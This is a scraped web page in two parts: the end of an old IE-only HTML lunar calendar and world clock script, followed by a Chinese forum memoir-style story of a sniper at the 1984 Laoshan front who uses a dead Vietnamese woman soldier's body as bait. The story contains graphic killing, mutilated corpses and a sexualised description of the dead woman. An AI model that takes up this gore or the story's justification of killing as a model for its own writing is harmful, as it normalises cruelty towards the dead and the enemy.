s=cld[sD].lunarFestival;
if(s.length>0) { //農曆節日
if(s.length>6) s = s.substr(0, 4)+'…';
s = s.fontcolor('red');
}
else { //國曆節日
s=cld[sD].solarFestival;
if(s.length>0) {
size = (s.charCodeAt(0)>0 && s.charCodeAt(0)<128)?8:4;
if(s.length>size+2) s = s.substr(0, size)+'…';
s = s.fontcolor('blue');
}
else { //廿四節氣
s=cld[sD].solarTerms;
if(s.length>0) s = s.fontcolor('limegreen');
}
}
if(s.length>0) lObj.innerHTML = s;
}
else { //非日期
sObj.innerHTML = '';
lObj.innerHTML = '';
}
}
}
function changeCld() {
var y,m;
y=CLD.SY.selectedIndex+1900;
m=CLD.SM.selectedIndex;
drawCld(y,m);
}
function pushBtm(K) {
switch (K){
case 'YU' :
if(CLD.SY.selectedIndex>0) CLD.SY.selectedIndex--;
break;
case 'YD' :
if(CLD.SY.selectedIndex<150) CLD.SY.selectedIndex++;
break;
case 'MU' :
if(CLD.SM.selectedIndex>0) {
CLD.SM.selectedIndex--;
}
else {
CLD.SM.selectedIndex=11;
if(CLD.SY.selectedIndex>0) CLD.SY.selectedIndex--;
}
break;
case 'MD' :
if(CLD.SM.selectedIndex<11) {
CLD.SM.selectedIndex++;
}
else {
CLD.SM.selectedIndex=0;
if(CLD.SY.selectedIndex<150) CLD.SY.selectedIndex++;
}
break;
default :
CLD.SY.selectedIndex=tY-1900;
CLD.SM.selectedIndex=tM;
}
changeCld();
}
var Today = new Date();
var tY = Today.getFullYear();
var tM = Today.getMonth();
var tD = Today.getDate();
//////////////////////////////////////////////////////////////////////////////
var width = "130";
var offsetx = 2;
var offsety = 8;
var x = 0;
var y = 0;
var snow = 0;
var sw = 0;
var cnt = 0;
var dStyle;
document.onmousemove = mEvn;
//顯示詳細日期資料
function mOvr(v) {
var s,festival;
var sObj=eval('SD'+ v);
var d=sObj.innerHTML-1;
//sYear,sMonth,sDay,week,
//lYear,lMonth,lDay,isLeap,
//cYear,cMonth,cDay
if(sObj.innerHTML!='') {
sObj.style.cursor = 's-resize';
if(cld[d].solarTerms == '' && cld[d].solarFestival == '' && cld[d].lunarFestival == '')
festival = '';
else
festival = '<TABLE WIDTH=100% BORDER=0 CELLPADDING=2 CELLSPACING=0 BGCOLOR="#CCFFCC"><TR><TD>'+
'<FONT COLOR="#000000" STYLE="font-size:9pt;">'+cld[d].solarTerms + ' ' + cld[d].solarFestival + ' ' + cld[d].lunarFestival+'</FONT></TD>'+
'</TR></TABLE>';
s= '<TABLE WIDTH="130" BORDER=0 CELLPADDING="2" CELLSPACING=0 BGCOLOR="#000066" style="filter:Alpha(opacity=80)"><TR><TD>' +
'<TABLE WIDTH=100% BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD ALIGN="right"><FONT COLOR="#ffffff" STYLE="font-size:9pt;">'+
cld[d].sYear+' 年 '+cld[d].sMonth+' 月 '+cld[d].sDay+' 日<br>星期'+cld[d].week+'<br>'+
'<font color="violet">農曆'+(cld[d].isLeap?'閏 ':' ')+cld[d].lMonth+' 月 '+cld[d].lDay+' 日</font><br>'+
'<font color="yellow">'+cld[d].cYear+'年 '+cld[d].cMonth+'月 '+cld[d].cDay + '日</font>'+
'</FONT></TD></TR></TABLE>'+ festival +'</TD></TR></TABLE>';
document.all["detail"].innerHTML = s;
if (snow == 0) {
dStyle.left = x+offsetx-(width/2);
dStyle.top = y+offsety;
dStyle.visibility = "visible";
snow = 1;
}
}
}
//清除詳細日期資料
function mOut() {
if ( cnt >= 1 ) { sw = 0; }
if ( sw == 0 ) { snow = 0; dStyle.visibility = "hidden";}
else cnt++;
}
//取得位置
function mEvn() {
x=event.x;
y=event.y;
if (document.body.scrollLeft)
{x=event.x+document.body.scrollLeft; y=event.y+document.body.scrollTop;}
if (snow){
dStyle.left = x+offsetx-(width/2);
dStyle.top = y+offsety;
}
}
///////////////////////////////////////////////////////////////////////////
function initialize() {
dStyle = detail.style;
CLD.SY.selectedIndex=tY-1900;
CLD.SM.selectedIndex=tM;
drawCld(tY,tM);
CLD.TZ.selectedIndex=getCookie("TZ");
changeTZ();
tick();
}
function terminate(){
setCookie("TZ",CLD.TZ.selectedIndex);
}
function setCookie(name, value) {
var today = new Date();
var expires = new Date();
expires.setTime(today.getTime() + 1000*60*60*24*365);
document.cookie = name + "=" + escape(value) + "; expires=" + expires.toGMTString();
}
function getCookie(Name) {
var search = Name + "=";
if(document.cookie.length > 0) {
offset = document.cookie.indexOf(search);
if(offset != -1) {
offset += search.length;
end = document.cookie.indexOf(";", offset);
if(end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(offset, end));
}
else return "";
}
}
/////////////////////////////////////////////////////////
function changeTZ() {
CITY.innerHTML = CLD.TZ.value.substr(6);
var pos = Math.floor(CLD.TZ.value.substr(0,3));
if(pos<0) pos+=24;
pos*=-10;
world.style.left = pos;
}
function tick() {
var today;
today = new Date();
Clock.innerHTML = today.toLocaleString();
Clock2.innerHTML = TimeAdd(today.toGMTString(), CLD.TZ.value);
window.setTimeout("tick()", 1000);
}
//-->
</SCRIPT>
<SCRIPT language=VBScript>
<!--
'===== 算世界時間
Function TimeAdd(UTC,T)
Dim PlusMinus, DST, y
If Left(T,1)="-" Then PlusMinus = -1 Else PlusMinus = 1
UTC=Right(UTC,Len(UTC)-5)
UTC=Left(UTC,Len(UTC)-4)
y = Year(UTC)
TimeAdd=DateAdd("n", (Cint(Mid(T,2,2))*60 + Cint(Mid(T,4,2))) * PlusMinus, UTC)
'美國日光節約期間: 4月第一個星日00:00 至 10月最後一個星期日00:00
If Mid(T,6,1)="*" And DateSerial(y,4,(9 - Weekday(DateSerial(y,4,1)) mod 7) ) <= TimeAdd And DateSerial(y,10,31 - Weekday(DateSerial(y,10,31))) >= TimeAdd Then
TimeAdd=DateAdd("h", 1, TimeAdd)
tSave.innerHTML = "R"
tSave.style.color= "Red"
Else
tSave.innerHTML = "R"
tSave.style.color= "White"
End If
TimeAdd = FormatDateTime(Date, 1) & " " & FormatDateTime(TimeAdd,3)
End Function
'-->
</SCRIPT>
<STYLE>.todyaColor {
BACKGROUND-COLOR: aqua
}
</STYLE>
<META content="MSHTML 5.50.4937.800" name=GENERATOR></HEAD>
<BODY onload=initialize() onunload=terminate()>
<SCRIPT language=JavaScript><!--
if(navigator.appName == "Netscape" || parseInt(navigator.appVersion) < 4)
document.write("<h1>你的瀏覽器無法執行此程式。</h1>此程式需在 IE4 以後的版本才能執行!!")
//--></SCRIPT>
<DIV id=detail
style="FILTER: shadow(color=#333333,direction=135); WIDTH: 140px; POSITION: absolute; HEIGHT: 120px;"></DIV>
<CENTER>
<FORM name=CLD>
<TABLE border=1 cellpadding="0" cellspacing="0" style='border-collapse:collapse;' >
<TBODY>
<TR>
<TD vAlign=top align=middle width=240 ><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="5"></td>
</tr>
</table>
<FONT style="FONT-SIZE: 12pt"
size=5 color=#990000>本地時間</FONT><BR>
<FONT id=Clock face=Arial color=#000080 size=4
align="center"> </FONT>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="1" bgcolor="#E4E4E4"></td>
</tr>
<tr>
<td height="8"></td>
</tr>
</table>
<FONT id=CITY
style="FONT-SIZE: 12pt; WIDTH: 150px; FONT-FAMILY: '新細明體'; HEIGHT: 28px" color=#990000> </FONT><br><FONT
id=Clock2 face=Arial color=#000080 size=4 align="center"> </FONT>
<TABLE style="FONT-SIZE: 10pt; FONT-FAMILY: Wingdings">
<TBODY>
<TR>
<TD align=middle><hr width="100%" size="1" color="#ff6666">
Ú
<DIV
style="OVERFLOW: hidden; WIDTH: 240px; HEIGHT: 120px; BACKGROUND-COLOR: darkblue"><FONT
id=world
style="FONT-SIZE: 185px; LEFT: 0px; COLOR: green; FONT-FAMILY: Webdings; POSITION: relative; TOP: -26px; background-color: #FFFFFF; layer-background-color: #FFFFFF; border: 1px none #000000;" name="world">ûû</FONT>
</DIV>
Ù </TD></TR></TBODY></TABLE>
<hr width="100%" size="1" color="#ff6666">
<!--時區 *表示自動調整為日光節約時間-->
<FONT
id=tSave
style="FONT-SIZE: 18pt; COLOR: white; FONT-FAMILY: Wingdings"> </FONT><FONT
style="FONT-SIZE: 9pt" size=2>選擇地區
<SELECT style="FONT-SIZE: 9pt;width:150px;background-color:#FFeeee;"
onchange=changeTZ() name=TZ>
<OPTION
value="-1200 安尼威土克、瓜甲蘭 " selected>國際換日線
<OPTION
value="-1100 中途島、薩摩亞群島 ">薩摩亞
<OPTION
value="-1000 夏威夷 ">夏威夷
<OPTION
value="-0900*阿拉斯加 ">阿拉斯加
<OPTION
value="-0800*太平洋時間(美加)、提亞納 ">太平洋
<OPTION
value="-0700*山區時間(美加) ">美加山區
<OPTION
value="-0700 亞歷桑那 ">美國山區
<OPTION
value="-0600 中美洲 ">中美洲
<OPTION
value="-0600*中部時間(美加) ">美加中部
<OPTION
value="-0600*墨西哥市 ">墨西哥
<OPTION
value="-0600 薩克其萬(加拿大) ">加拿大中部
<OPTION
value="-0500 波哥大、利馬、祁多 ">南美洲太平洋
<OPTION
value="-0500*東部時間(美加) ">美加東部
<OPTION
value="-0500 印第安納(東部) ">美東
<OPTION
value="-0400*聖地牙哥 ">太平洋SA
<OPTION
value="-0400 加拉卡斯、拉帕茲 ">南美洲西部
<OPTION
value="-0400*大西洋時間(加拿大) ">大西洋
<OPTION
value="-0330*新島(加拿大東岸) ">紐芬蘭
<OPTION
value="-0300*格陵蘭 ">格陵蘭
<OPTION
value="-0300*波西里亞 ">東南美洲
<OPTION
value="-0300 布魯諾斯愛麗斯、喬治城 ">南美洲東部
<OPTION
value="-0200*大西洋中部 ">大西洋中部
<OPTION
value="-0100 維德角群島 ">維德角
<OPTION
value="-0100*亞速爾群島 ">亞速爾
<OPTION
value="+0000 卡薩布蘭卡、莫洛維亞(賴比瑞亞) ">格林威治
<OPTION
value="+0000*格林威治:都柏林、愛丁堡、里斯本、倫敦 ">GMT
<OPTION
value="+0100 中西非 ">中西非
<OPTION
value="+0100*比歐瑞德、布拉提斯拉瓦、布達佩斯、布拉格 ">中歐
<OPTION
value="+0100*布魯賽爾、哥本哈根、馬德里、巴黎 ">羅馬
<OPTION
value="+0100*沙拉耶佛、斯科比亞、蘇非亞、華沙、札格瑞 ">中歐
<OPTION
value=+0100*阿姆斯特丹、柏林、羅馬、斯德哥爾摩、維也納>西歐
<OPTION
value="+0200*布加勒斯特 ">西歐
<OPTION
value="+0200 耶路薩冷 ">耶路薩冷
<OPTION
value="+0200*開羅 ">埃及
<OPTION
value="+0200*雅典、伊斯坦堡、明斯克 ">GTB
<OPTION
value="+0200 赫拉雷、皮托里 ">南非
<OPTION
value="+0200*赫爾辛基、里加、泰里安 ">FLE芬蘭
<OPTION
value="+0300*巴格達 ">阿拉伯
<OPTION
value="+0300 奈洛比 ">東非
<OPTION
value="+0300 科威特、里雅德 ">阿拉伯
<OPTION
value="+0300*莫斯科、聖彼得堡、窩瓦格瑞德 ">俄羅斯
<OPTION
value="+0330*德黑蘭 ">伊朗
<OPTION
value="+0400*巴古、塔布理斯、費里凡 ">高加索
<OPTION
value="+0400 阿布達比、莫斯凱 ">阿拉伯
<OPTION
value="+0430 喀布爾 ">阿富汗
<OPTION
value="+0500*伊卡特林堡 ">伊卡特林堡
<OPTION
value="+0500 伊斯蘭馬巴德、克洛奇、塔須肯 ">西亞
<OPTION
value="+0530 加爾各答、辰內、孟拜、新德里 ">印度
<OPTION
value="+0545 加德滿都 ">尼泊爾
<OPTION
value="+0600*阿馬提、諾曼斯比爾斯科 ">中北亞
<OPTION
value="+0600 阿斯塔那、達卡 ">中亞
<OPTION
value="+0600 斯里哈亞華登尼普拉 ">斯里蘭卡
<OPTION
value="+0630 仰光 ">緬甸
<OPTION
value="+0700*克拉斯諾亞爾斯克 ">北亞
<OPTION
value="+0700 曼谷、河內、雅加達 ">東南亞
<OPTION
value="+0800 北京、重慶、香港、烏魯木齊 ">中國
<OPTION
value="+0800 台北 ">台灣
<OPTION
value="+0800*伊爾庫次克、烏蘭巴圖 ">東北亞
<OPTION
value="+0800 吉隆坡、新加坡 ">馬來半島
<OPTION
value="+0800 伯斯 ">澳洲西部
<OPTION
value="+0900 大阪、北海道、東京 ">東京
<OPTION
value="+0900*亞庫茲克 ">亞庫茲克
<OPTION
value="+0900 漢城 ">韓國
<OPTION
value="+0930*愛德蘭 ">澳洲中部
<OPTION
value="+0930 達爾文 ">澳洲中部
<OPTION
value="+1000 布里斯本 ">澳洲東部
<OPTION
value="+1000*坎培拉、墨爾本、雪梨 ">澳洲東部
<OPTION
value="+1000*海參威 ">海參威
<OPTION
value="+1000*霍巴特 ">塔斯梅尼亞
<OPTION
value="+1000 關島、莫斯比港 ">西太平洋
<OPTION
value="+1100 馬哥大、所羅門群島、新卡倫多尼亞 ">太平洋中部
<OPTION
value="+1200 斐濟、肯加塔、馬歇爾群島 ">斐濟
<OPTION
value="+1200*奧克蘭、威靈頓 ">紐西蘭
<OPTION
value="+1300 努瓜婁發 ">東加</OPTION>
</SELECT>
</FONT></P></TD>
<TD align=middle valign="top">
<DIV style="Z-INDEX: -1; POSITION: absolute; TOP: 30px;"><FONT id=YMBG
style="FONT-SIZE: 100pt; COLOR: #f0f0f0; FONT-FAMILY: 'Arial Black'"> 0000<BR>
JUN</FONT>
</DIV>
<TABLE border=0>
<TBODY>
<TR bgcolor="#990000">
<TD colSpan=7><FONT style="FONT-SIZE: 9pt"
color=#ffffff size=2>公曆
<SELECT style="FONT-SIZE: 9pt"
onchange=changeCld() name=SY>
<SCRIPT language=JavaScript><!--
for(i=1900;i<2051;i++) document.write('<option>'+i)
//--></SCRIPT>
</SELECT>
年
<SELECT style="FONT-SIZE: 9pt" onchange=changeCld()
name=SM>
<SCRIPT language=JavaScript><!--
for(i=1;i<13;i++) document.write('<option>'+i)
//--></SCRIPT>
</SELECT>
月 </FONT> <FONT id=GZ face=新細明體 color=#ffffff
size=3> </FONT><BR> </TD>
</TR>
<TR align=middle bgColor=#e0e0e0>
<TD width=54><font color="#9900FF"><strong>日</strong></font></TD>
<TD width=54><font color="#9900FF"><strong>一</strong></font></TD>
<TD width=54><font color="#9900FF"><strong>二</strong></font></TD>
<TD width=50><font color="#9900FF"><strong>三</strong></font></TD>
<TD width=54><font color="#9900FF"><strong>四</strong></font></TD>
<TD width=54><font color="#9900FF"><strong>五</strong></font></TD>
<TD width=54><font color="#9900FF"><strong>六</strong></font></TD>
</TR>
<SCRIPT language=JavaScript><!--
var gNum
for(i=0;i<6;i++) {
document.write('<tr align=center>')
for(j=0;j<7;j++) {
gNum = i*7+j
document.write('<td id="GD' + gNum +'" onMouseOver="mOvr(' + gNum +')" onMouseOut="mOut()"><font id="SD' + gNum +'" size=5 face="Arial Black"')
if(j == 0) document.write(' color=red')
if(j == 6)
if(i%2==1) document.write(' color=red')
else document.write(' color=green')
document.write(' TITLE=""> </font><br><font id="LD' + gNum + '" size=2 style="font-size:9pt"> </font></td>')
}
document.write('</tr>')
}
//--></SCRIPT>
</TBODY>
</TABLE></TD>
<TD vAlign=top align=middle width=40><BUTTON
style="FONT-SIZE: 9pt;height:20px;width:60px;background:#990000; color: #FFffff;" onclick="pushBtm('YU')">上一年▲</BUTTON><BR><BUTTON
style="FONT-SIZE: 9pt;height:20px;width:60px;background:#990000; color: #FFffff;" onclick="pushBtm('YD')">下一年▼</BUTTON>
<P><BUTTON style="FONT-SIZE: 9pt;height:20px;width:60px;background:#990000; color: #FFffff;"
onclick="pushBtm('MU')">上一月▲</BUTTON><BUTTON style="FONT-SIZE: 9pt;height:20px;width:60px;background:#990000; color: #FFffff ;" onclick="pushBtm('')">當前月■</BUTTON>
<BUTTON style="FONT-SIZE: 9pt;height:20px;width:60px;background:#990000; color: #FFffff ;" onclick="pushBtm('MD')">下一月▼</BUTTON>
</TD></TR></TBODY></TABLE></FORM></CENTER></BODY></HTML>
[Ctrl+A 全选 Ctrl+C 复制,如不能正常显示请刷新一下] |
|
瞄准镜那头是越南女兵的身体
|
2005年02月18日16:03 作者:水笙 来源:搜狐文化论坛
一、
整整一天,再没有大的战斗,飘渺游离的雾散去又起,一些残树枯枝在风里轻轻抖动 ,偶尔一声冷枪把一只鸟惊得扑的一声飞起。
我的怀里抱着的是一支射程一千五百米的狙击步枪,通过瞄准镜我可以看到距离射击口 七百米处横七竖八的躺着七具几乎一丝不挂的尸体,只有一具除外,因为她是女人。 前方七百米处,有一条小道转弯,地域开阔、视线良好,是狙击的最好场地。一汪清 澈的泉水就是横尸遍地的理由。
一九八四年老山前线战区,穿衣服的只有两种人:一是营级以上军官,二是女人。
我们部队里没有一线女兵,瞄准镜里第一次见到了越南女人,她戴着斗笠,背着中国援助的苏式AK冲锋枪,拿着水壶,猫腰前进。也许那女人只是个卫生员,她冒死来汲水 只不过是给濒临死亡的战士清洗伤口。
在老山前线,我们有两不打,女人不打,老百姓不打。犹豫的时候,越南女兵又往前 行了几十米,眼看就要进入射击死角。
“女人也是敌人!”这是一个炮兵首长说的话。我咬咬牙,扣动了扳机,狙击步枪发射时特有的闷响划破了山谷短暂的宁静,在瞄准镜里我看到那个越南女人眉心中弹,子弹从她的后脑破壳而出,血浆、碎骨飞溅。她的头向后仰了一下,然后失去支撑的垂落在脖子上,接下来才是身体和腿象抽空了一般的失去力量,软塌下来。
这一切,只发生在零点几秒的瞬间。我不想要她的命,我不把杀女人当成可以炫耀的事情。可我需要她的尸体,准确的说,我是需要她的尸体摆在我的射击范围内。
二、
我的身后也有尸体,那些残缺不全、狰狞可怖肉身分别属于班长杨明和战友李真卫、黄堰南。昨天,我们还在一起甩那付已经两寸厚的扑克牌,抽连长特意捎来的红塔山香烟。今天早上,越南人又进攻了,经过大约半小时的战斗,他们和平常一样拖着十多具尸体退无功而反。
越南人的炮火准备炸断了我们的电话线,奉班长的命令,我光着身体钻出十八号猫儿洞前去查线。
我们驻守的那个小山头,总共有一百多个象我们那样的猫耳洞,中越阵地犬牙交错,你中有我,我中有你。大约有三分之一的洞穴是我们控制的,漫山遍野的地雷,你埋我也埋,最后谁也不敢保证这里有地雷或者没有地雷。
在裸露的山体上出现的任何活物,你无法计算有多少个枪口在默默的注视着你,在你无法预计的时候,一颗微不足道的子弹会夺去你所有的一切。
从“四·二八”奉命收复老山算起,我在十八号位驻守已经超过三个月了。对我来说,死早已经不是可怕的事情。
我的裆部和所有人一样被热带雨林的湿热折磨得不堪入目一团模糊,穿裤衩是折磨而又容易成为狙击手目标的事情。每天仰望着阴森的洞口,感觉它象在不断的发出嘲笑。不知道越南人会在什么时候扔下来冒着死亡之烟的手榴弹或者爆破筒,我们要在最短的时间 里做出最快的反应是拣起来扔出去还是找最有可能的位置躲避。
每天都是在这样的状态中活着,以至于一直到今天,我也是睁着眼睛睡觉的。妻子说我睡觉时候的样子好吓人。
对于一个已经不怕死却又还不怎么想死的人来说,外出执行任务是最开心的事情,至少可以看见太阳,至少可以呼吸一下新鲜的空气。
我象蛇一样的滑行,尖锐的石头和草屑很快把我刚刚结疤的档部划开,血留了一地。我不介意那种疼痛,至少它让我感觉没有那么痒。忽然有机枪点射打在我的左前方,泥土溅到我的嘴里,我恨恨的骂了一句,继续往前爬行。经验告诉我:只要不是平射炮直瞄射击,我光荣的可能性不大。越南人的炮弹不多,不超过五个人的时候,他们一般不那样做。
接好了电话线我没有立即回洞。
就在我贪恋阳光和空气的时候,身后传来了巨大的闷响,不用回头我就知道这是摸洞子的时候,手榴弹或者爆破筒在帽耳洞里面爆炸的声音,敌人这么干,我们也这么干。十八号洞子里面冒出了浓烟,就在我享受战地阳光、享受带有硝烟的空气的时候,越南人摸到了我们的洞口,扔下了足以致命的炸药。转眼间,山谷里枪声四起,我一口气射完了枪膛里所有的子弹,其他兄弟洞口的火力也雨点一样的砸过来,战斗由一点激发,连锁的蔓延到整个战区。
偷袭的三个越南人一个被我击毙,被一个同伴拉着撤退,另一个则担任火力掩护。越南人和我们一样,哪怕是再搭上几条人命也不会丢下战友的尸体。拉同伴尸体的越南人最后慌不择路,跑进了雷区,连同他拉着的尸体被激发雷炸上了半空,弹片将他们大块的切裂,然后落下,再激发其他的地雷,最后变成了碎片。担任掩护的那个边打边撤,居然连滚带爬的逃了回去。
洞子里,战友李真卫、黄堰南,早已经四分五裂,头和腿和躯干已经分离。班长还活着,血肉一团的在抖动,我赶忙靠近他。班长杨明的头已经分不清楚五官,不停的冒着血,他的身上也被弹珠击出无数的伤口,一时间,我不知道该捂住哪里。班长在我的怀里陡然动了几下,终于不再动弹,连一句话也没有留下。 三、围尸打援
真正经历过战火的人都清楚:国家机器把年轻的士兵驱赶上硝烟弥漫、血肉横飞的战场时,总会给他们一个非常充分的理由,或为民族或为了祖国。这同样也不仅仅是我们,敌人也是如此。
当战斗真正打响,当不是你死就是我活的时候;当最亲密的战友倒在你的怀里永远不再回答你的时候……
生存与仇恨就是唯一的。于是,残忍、杀戮、同态复仇也就没有人计较。我要为身后那些已经成了一团血肉的战友报仇!我要越南人血债血偿!当时,我的心里就只有这些。
“围尸打援”就是根据敌人不肯放弃同伴的尸体制定的,很长的时间里,在战区、在国内被人津津乐道。当国家或者人处于某种需要的时候,人性的东西就被忽略了,当我利用越南人拼死抢救战场上死难的同伴而进行狙击时,没有丝毫的愧疚。
第一个牺牲者留给我很深的印象,那是个勇敢而卤莽的人,他疯也似的冲过来,把尸体往肩上一扛就走,我看到了他的光屁股蛋儿,也看到了他的头从尸体的腰间露出一角。我没有半分的迟疑。枪响!越南人象木桩一样的倒下。一切归于平静。
我不再欣赏我的战果,把头缩了回来。狙击位最好不要连续放两枪,不然,暴露目标后,敌人的重机枪会把射击位置掏得很大。
天边响起了雷声,风把残存的树和草吹得沙沙做响??要下雨了。
洞子里酷热难当,重重的湿热再一次折磨着我,战友的尸体已经开始发出很奇怪的臭味,可我已经不在乎这些。
“兄弟们,看着我杀狗娘养的越南人!”我回头看了看身后的班长和战友们,含着泪,咬牙切齿的说。
越南人的爆破筒把一切都毁了,连装大便的罐头盒也被炸得四处飞溅,洞里几乎没有干净的地方。好在还可以找到一些罐头和弹药,狙击步枪是黄堰南的,他是团里的射击冠军,团首长昨天才特意把他派到我们这个最佳的狙击位上来,可惜他的狙击步枪还没有发射过就光荣了。
越南人又派出了抢尸者,这次聪明了很多,趴在地上,一点一点的接近尸体,然后用带钩的竹竿钩住尸体,再一点一点的把尸体往回拖。我看到了那具女尸在拖动的过程中被褪去了上衣,露出白皙而结实、坚挺的乳房。我把眼睛闭了闭,或许女人真的不应当属于战场。
如果那个越南人不是那么心急,也许他就成功了,他躲在水潭旁唯一的大石头后面,那是我的火力死角。就在尸体快要拉到他的身边的时候,他身体前倾,伸出手去拖尸体。他太不小心了,我暗暗窃喜,越南人露出了他的头,尽管只是一部分,尽管只是很短的时间。可是对于我来说,对于用狙击步枪射杀一个人来说已经足够了!
于是,那汪清水边,那具已经裸露的女尸旁又多了一具尸体,和我一样,黄皮肤、一丝不挂?D?D除了子弹袋。我甚至可以透过瞄准镜看到他的手指在最后的痉挛,虽然生命之火已经被我命中头颅的那颗子弹抽空,可生理上还没有完全的死去,还在不甘心的抽动,一直到最后归复平静。 四、仁慈一枪
身后洞子里传来了如老牛疾喘一般的呼呼声,我们“饲养”的巨蟒饿了,它探出并不很大的头来等待我的罐头。那条蟒也许才是这个洞子的真正主人,没有人知道它在洞子里已经生活了多久。有一点是肯定的,因为它的存在,我们的洞子里极少蚊子、老鼠以及毒蛇之类。平日里,它伸出头来以后,我们就把相当于两个人的口粮罐头切成块状喂它,等它吃饱了以后就自然地缩回它自己的世界。就这种在今天看来很恐怖的事情,在当时百般无聊的驻守日子里,我们甚至不惜磕个头欢送它的离去。
战士和蟒之间和平相处、共同生存不仅仅是十八号洞子的事情,和其他的很多洞子一样,我们节省出口粮喂养它,它为我们驱赶我们讨厌和恐惧的蚊虫、毒蛇。
天边的闷雷越来越响越来越接近,一场雨好像顷刻间就会降临。身后那条蟒发出的声音也越来越大、越来越急,一直没有得到我的“饲养”,它好像很不耐烦,慢慢的爬出了石缝,露出了它足有我大腿粗的身体。
我不“饲养”它除了没有心情以外,粮食被越南人的爆破筒破坏也是很重要的原因。那条蟒居然一点一点地接近我战友的遗体,并且不断地试探着,又看看我,似乎要向我示威再不给东西我吃,可要吞吃你的战友了!
我火了,起冲锋枪,整梭子扫过去,子弹落在石头上,火星飞溅,几乎要弹射到自己。那条蟒剧烈而疯狂地扭曲扫动,弄得洞内飞沙走石。一直到它颓然不动时我才意识到现在的我,成了洞子里唯一的活物,一种强烈的孤独感把我的心不断地往下拉,很多乱七八糟的感觉一股脑地往头脑里涌,无法描绘,感觉到的只有一个我特想哭!
我还是哭了,那年我才刚满十九岁(现在的我看来,那还是个孩子的年龄)。我一边抹着眼泪,一边把班长和战友们被蟒蛇弄乱的尸体收拾好,他们一动也不动,他们的尸体不象我第一次收拾时那样柔软、热乎,已经变得硬梆梆、冷冰冰了。
最后,我在角落里缩成一团,大声地哭了起来,说不清楚是恐惧还是孤独,我想,那时的我,如果身边还有一个战友,哪怕是还有一个伤员,我一定不会哭的。
不知道自己哭了多久,累了,也困了。看着那些血肉模糊的肉体,猛地咬了咬牙,又起了那枝狙击步枪,瞄准了那片开阔地、瞄准了那具女尸。
我的枪又响了四次,那边又有四个越南人永远地留在了小水潭边。
雨漫无边际地犹如瓢泼一般地下起,那是我见的越南人最后一次抢尸体的努力。至少有一个班的越南人蜂涌而出,宛如飞蛾扑火一般地冲向那死亡的水潭。
我们的大炮响了,也许是兄弟洞子招来了炮火。几发炮弹以后,一切都变了,我听到了炮弹划破空气时的尖啸,也看到了活人被炮弹炸起时手脚的挥舞,还看到了被炸裂的躯体蹿上半空又重重地落下……
天放晴,空中的尽头绽放出最后的一丝暖霞,树间残存的绿叶尖、枯枝上水滴一点一点地落下,声音很动听很清脆。硝烟过后的水潭,血 腥 已经被暴雨冲刷干净,看不出曾经的残忍。深深浅浅的弹坑里积着水,横七竖八的尸体看上去干净而圣洁,让我惊奇的是:这么密集的炮火居然没有炸到那具女尸,她依旧那么安静地躺在那块石头旁边,透过瞄准镜,我居然感觉到她那双结实坚挺的乳房白得有点刺眼!
还有东西在蠕动,我调整了瞄准镜的焦距才看清楚那是个炮战后余生的越南人,他的一条腿被炸得不知道飞向何处,肚子也开了,肠子在他的身后远远地拖着,也许是血已经流尽,我没有看到殷红的血。可以断定他活不过五分钟了,看着他一点一点艰难地朝那具女尸挪去,每动一下都有痉挛地抖动,那么的艰难与痛苦。
我忽然有种很奇怪的想法,也许坚强、勇敢不仅仅可以形容我们的战友,我瞄准镜里那个垂死的敌人何尝不也是如此?不知道怜悯敌人是不是对的,可我实在不忍心看着他如此艰难地活着。枪又响了,就在那个垂死的越南人艰难地爬过一个弹坑的时候,就在他的背正对着我的时候。那颗仁慈的子弹干净而利落地穿透了他的左胸,他几乎只是抖动了一下就不再动弹。我象是被烫着了一样把枪扔在了一旁仰天躺下,急促地喘着粗气。
那天也许是我这一辈子杀人最多的一天,七个无冤无仇的敌人被我躲在角落里一枪一枪地送到了另一个世界。我感觉到特别的厌倦,于是决定那天不再杀人,敌人也不杀! 五、孤身独守
那天好长,夕阳还是象必要履行的程序一样在没有散尽的雨云中挥洒下来,我极力地把头伸出洞外贪婪地呼吸着。没有硝烟气息、没有尸臭,泥土的、新叶的、水的、风的甚至是夕阳的气息混在一起迎面扑来,有一只孤鸟盘旋着,发出鸣叫一点也不悲哀。以往的黄昏,战斗结束了,双方战线好像是有默契般地沉寂下来,没有人打冷枪,也没有人偷袭。士兵们三三两两走出污浊的猫耳洞,舒展着筋骨,用一天中最后的阳光晒着溃烂的裆部。双方最近的时候甚至相隔不到十米,连眉毛胡子都可以看清楚。
越南人很多都会弹吉他,他们弹我们的歌《十五的月亮》、《望星空》,我们就在这边和着节奏唱,最热闹的时候,他们会出来很多的人,拣块平整的地方跳起迪斯科或者交谊舞,我觉得越南人的节奏感比我们好。不知道越南人是有所准备还是真的坦荡,他们好像一点也不怕我们偷袭。有一次我看他们玩得最热闹的时候,突然弯下腰然后空手做扫射状,嘴巴里模仿着冲锋枪的声音。一大片人哗地趴倒在地,当他们明白上当的时候,我们哄堂大笑,他们悻悻地爬起来,也呵呵地跟着笑了起来。
越南人仿佛都是天才的手工艺者,弹壳、弹片、手榴弹拉环在他们手里摆弄几下之后就成了很精美的艺术品。
我们和敌人的交易其实一直就没有停过,那边的越南人用两个手指头做出抽烟状,然后扔过来他们加工的项链或者手镯什么的,我们就把香烟扔过去。我们扔的香烟越多、越高档,得到的手工艺品也越精致。那样融洽的场面很难让人想像我们刚才还是性命相搏,也许是明天、也许就是今天晚上,我们又将刺刀相见。也许当刺刀“哧”的一声捅进对方的身体时;也许往洞子里扔着冒烟的爆破筒时;葬送的就是几个小时前甚至半个小时前一块唱歌跳舞、互相赠送纪念品的真诚相视而笑的那个几乎就要成为朋友的敌人!
那天的黄昏没有人出来唱歌也没有人出来弹吉他、跳舞、互赠纪念品。战区静悄悄的,好像是为死去的人默哀。
天,马上就要黑了!
渗水两、三天以后才会褪去。班长和战友们悬浮在水中,昏暗的光线里泛白、膨胀,更加可怖。我的心充满了愧疚,曾尝试着把他们一块一块地拾起来搁放在没有水的地方,但很快知道我是徒劳的?D?D洞子那么小,哪里没有水呢?我流着眼泪向那些尸块打拱作揖乞求他们的原谅。
浑浊的污水面上漂浮着一些罐头盒子,那是我们装大便用的,因为不能出洞,所以把大便解在罐头盒子里,等到换防时才一并处理。越南人的爆破筒把大便炸得到处都是,漂浮在水面上又沾到我的身上,我的胃不断地蠕动,一次又一次地干呕。
